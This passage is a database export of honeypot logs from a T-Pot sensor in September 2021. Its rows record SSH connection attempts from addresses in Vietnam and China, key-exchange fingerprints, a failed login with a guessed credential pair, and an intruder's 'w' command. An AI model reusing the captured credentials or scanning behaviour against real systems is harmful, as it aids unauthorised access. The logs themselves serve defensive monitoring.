"curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
22050	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:06:20.597944+03	2021-09-20 14:15:04.431613+03	{"_id": "hQXiAnwBvYTbRNuEqP3e", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "7063802edb6e", "@version": "1", "duration": 2.851686716079712, "timestamp": "2021-09-20T11:06:20.597944Z", "@timestamp": "2021-09-20T11:06:20.597Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
22051	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:06:21.417492+03	2021-09-20 14:15:04.433613+03	{"_id": "mwXiAnwBvYTbRNuErP3F", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "7d1c23bc7452", "@version": "1", "duration": 2.4018664360046387, "timestamp": "2021-09-20T11:06:21.417492Z", "@timestamp": "2021-09-20T11:06:21.417Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
22052	116.105.211.46	109.199.241.180	Cowrie	2021-09-20 14:06:22.019439+03	2021-09-20 14:15:04.434613+03	{"_id": "nAXiAnwBvYTbRNuErP3F", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.105.211.46", "eventid": "cowrie.session.closed", "message": "Connection lost after 7 seconds", "session": "3181bb249e72", "@version": "1", "duration": 7.599309206008911, "timestamp": "2021-09-20T11:06:22.019439Z", "@timestamp": "2021-09-20T11:06:22.019Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
22053	223.241.247.214	109.199.241.180	Cowrie	2021-09-20 14:06:21.873243+03	2021-09-20 14:15:04.435613+03	{"_id": "oQXiAnwBvYTbRNuErP3F", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "223.241.247.214", "asn": 4134, "as_org": "Chinanet", "latitude": 31.8642, "location": {"lat": 31.8642, "lon": 117.2865}, "timezone": "Asia/Shanghai", "longitude": 117.2865, "region_code": "AH", "region_name": "Anhui", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "input": "w", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "223.241.247.214", "eventid": "cowrie.command.input", "message": "CMD: w", "session": "93a2eacc7d8b", "@version": "1", "timestamp": "2021-09-20T11:06:21.873243Z", "@timestamp": "2021-09-20T11:06:21.873Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
22054	223.241.247.214	109.199.241.180	Cowrie	2021-09-20 14:06:21.502564+03	2021-09-20 14:15:04.436614+03	{"_id": "jwXiAnwBvYTbRNuErP3F", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 20, "type": "Cowrie", "geoip": {"ip": "223.241.247.214", "asn": 4134, "as_org": "Chinanet", "latitude": 31.8642, "location": {"lat": 31.8642, "lon": 117.2865}, "timezone": "Asia/Shanghai", "longitude": 117.2865, "region_code": "AH", "region_name": "Anhui", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8", "src_ip": "223.241.247.214", "ttylog": "log/tty/f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8 after 0 seconds", "session": "93a2eacc7d8b", "@version": "1", "duration": 0.5719971656799316, "duplicate": true, "timestamp": "2021-09-20T11:06:21.502564Z", "@timestamp": "2021-09-20T11:06:21.502Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
22055	223.241.247.214	109.199.241.180	Cowrie	2021-09-20 14:06:21.872701+03	2021-09-20 14:15:04.437613+03	{"_id": "kQXiAnwBvYTbRNuErP3F", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "bsd-aarch64-msb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "223.241.247.214", "asn": 4134, "as_org": "Chinanet", "latitude": 31.8642, "location": {"lat": 31.8642, "lon": 117.2865}, "timezone": "Asia/Shanghai", "longitude": 117.2865, "region_code": "AH", "region_name": "Anhui", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "223.241.247.214", "eventid": "cowrie.session.params", "message": [], "session": "93a2eacc7d8b", "@version": "1", "timestamp": "2021-09-20T11:06:21.872701Z", "@timestamp": "2021-09-20T11:06:21.872Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
22056	27.69.246.93	109.199.241.180	Suricata	2021-09-20 14:06:27.541623+03	2021-09-20 14:15:04.438614+03	{"_id": "qwXiAnwBvYTbRNuEw_4W", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "27.69.246.93", "dest_ip": "192.168.20.116", "flow_id": 13241035129083, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 40632, "dest_port": 22, "timestamp": "2021-09-20T11:06:27.541623Z", "@timestamp": "2021-09-20T11:06:27.541Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
22057	116.110.220.49	109.199.241.180	Suricata	2021-09-20 14:06:28.128324+03	2021-09-20 14:15:04.439613+03	{"_id": "6gXiAnwBvYTbRNuEx_4A", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "116.110.220.49", "dest_ip": "192.168.20.116", "flow_id": 1442369928148288, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 58662, "dest_port": 22, "timestamp": "2021-09-20T11:06:28.128324Z", "@timestamp": "2021-09-20T11:06:28.128Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
22058	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:06:28.438083+03	2021-09-20 14:15:04.440613+03	{"_id": "9QXiAnwBvYTbRNuEx_7s", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 27.69.246.93:47246 (192.168.176.2:22) [session: 45929a3d8d2b]", "session": "45929a3d8d2b", "@version": "1", "protocol": "ssh", "src_port": 47246, "dest_port": 22, "timestamp": "2021-09-20T11:06:28.438083Z", "@timestamp": "2021-09-20T11:06:28.438Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
22059	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:06:29.114191+03	2021-09-20 14:15:04.442613+03	{"_id": "9gXiAnwBvYTbRNuEx_7s", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 27.69.246.93:34438 (192.168.176.2:22) [session: 4370b50d0e30]", "session": "4370b50d0e30", "@version": "1", "protocol": "ssh", "src_port": 34438, "dest_port": 22, "timestamp": "2021-09-20T11:06:29.114191Z", "@timestamp": "2021-09-20T11:06:29.114Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
22060	223.241.247.214	109.199.241.180	Cowrie	2021-09-20 14:06:28.755991+03	2021-09-20 14:15:04.443614+03	{"_id": "7wXiAnwBvYTbRNuEx_7p", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "bsd-aarch64-msb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "223.241.247.214", "asn": 4134, "as_org": "Chinanet", "latitude": 31.8642, "location": {"lat": 31.8642, "lon": 117.2865}, "timezone": "Asia/Shanghai", "longitude": 117.2865, "region_code": "AH", "region_name": "Anhui", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "223.241.247.214", "eventid": "cowrie.session.params", "message": [], "session": "93a2eacc7d8b", "@version": "1", "timestamp": "2021-09-20T11:06:28.755991Z", "@timestamp": "2021-09-20T11:06:28.755Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
22061	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:06:28.765053+03	2021-09-20 14:15:04.444612+03	{"_id": "8AXiAnwBvYTbRNuEx_7p", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.session.closed", "message": "Connection lost after 3 seconds", "session": "ed558b78f6a3", "@version": "1", "duration": 3.2128963470458984, "timestamp": "2021-09-20T11:06:28.765053Z", "@timestamp": "2021-09-20T11:06:28.765Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
22062	27.69.246.93	109.199.241.180	Fatt	2021-09-20 14:06:28.181832+03	2021-09-20 14:15:04.445613+03	{"_id": "-AXiAnwBvYTbRNuEx_7s", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "src_ip": "27.69.246.93", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 40914, "dest_port": 22, "timestamp": "2021-09-20T11:06:28.181832", "@timestamp": "2021-09-20T11:06:28.181Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
22063	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:06:28.787459+03	2021-09-20 14:15:04.447613+03	{"_id": "8gXiAnwBvYTbRNuEx_7p", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.login.failed", "message": "login attempt [daegalnet/tkssk78] failed", "session": "7b9f95ac7c28", "@version": "1", "password": "tkssk78", "username": "daegalnet", "timestamp": "2021-09-20T11:06:28.787459Z", "@timestamp": "2021-09-20T11:06:28.787Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
22064	27.69.246.93	109.199.241.180	Fatt	2021-09-20 14:06:28.716958+03	2021-09-20 14:15:04.448613+03	{"_id": "-gXiAnwBvYTbRNuEx_7s", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "src_ip": "27.69.246.93", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 47246, "dest_port": 22, "timestamp": "2021-09-20T11:06:28.716958", "@timestamp": "2021-09-20T11:06:28.716Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
